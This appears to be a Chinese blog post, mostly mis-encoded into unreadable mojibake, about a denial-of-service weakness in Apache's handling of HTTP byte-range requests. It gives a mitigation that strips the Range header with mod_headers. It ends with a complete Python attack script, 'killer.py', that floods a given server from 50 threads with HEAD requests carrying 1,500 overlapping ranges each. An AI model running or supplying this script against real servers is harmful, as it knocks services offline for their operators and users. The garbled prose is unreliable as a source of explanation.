14.35 Range ....................................................138
14.35.1 Byte Ranges ...........................................138
14.35.2 Range Retrieval Requests ..............................139
Apache婕旂ず
1. 鏂板緩鍐呭涓篴bcdefghijk鐨則xt欏甸潰
2. 涓嶅甫Byte Range Header鐨勮姹傦紝璇風湅錛?br />
3.甯yte Range Header鐨勮姹傦紝璇風湅錛?br />
鐞嗚涓婏紝涓鏃﹀甫涓奛涓猂ange鍒嗙墖錛孉pache鍗曟璇鋒眰鍘嬪姏灝辨槸涔嬪墠鐨凬鍊嶏紙瀹為檯灝戜簬N錛夛紝闇瑕佸仛澶ч噺鐨勮繍綆楀拰瀛楃涓插鐞嗐傛晠鏋勫緩鏃犵┓鐨勫垎鐗囷紝鍗曟満DOS鏀誨嚮錛屽氨鑳芥悶鍨瓵pache Server銆?br />
瑙e喅鏂規
1. 絳夊緟Apache淇錛屼笉榪嘊yte Range鏄鑼冭姹傜殑錛屼笉鑳界畻鏄湡姝f剰涔変笂鐨凚UG錛屼笉鐭ラ亾浼氬浣曚慨澶嶈繖涓棶棰?
2. 瀵逛簬涓嶆槸涓嬭澆绔欑偣鏉ヨ錛屽緩璁鐢˙yte Range錛屽叿浣撳仛娉曪細
2.1 瀹夎mod_headers妯″潡
2.2 閰嶇疆鏂囦歡鍔犱笂錛?RequestHeader unset Range
鏈鍚庨檮涓婁竴涓敾鍑昏剼鏈紝鍋氭紨紺?/strong>
1 # encoding:utf8
2 #!/usr/bin/env python
3 import socket
4 import threading
5 import sys
6
7 headers = '''
8 HEAD / HTTP/1.1
9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12
13 '''
14
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20
21 def req(server):
22 try:
23 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24 s.connect((server, PORT))
25 s.send(headers % (server, fragment(COUNT)))
26 s.close()
27 except:
28 print 'Server Seems Weak. Please Stop.'
29
30 def fragment(n):
31 ret = ''
32 for i in xrange(n):
33 if i == 0:
34 ret = ret + '0-' + str(i + 1)
35 else:
36 ret = ret + ',0-' + str(i + 1)
37 return ret
38
39 def run(server):
40 for _ in xrange(COUNT):
41 req(server)
42
43 if len(sys.argv) != 2:
44 print 'killer.py $server'
45 sys.exit(0)
46
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50 threading.Thread(target=run, args=(srv,)).start()
51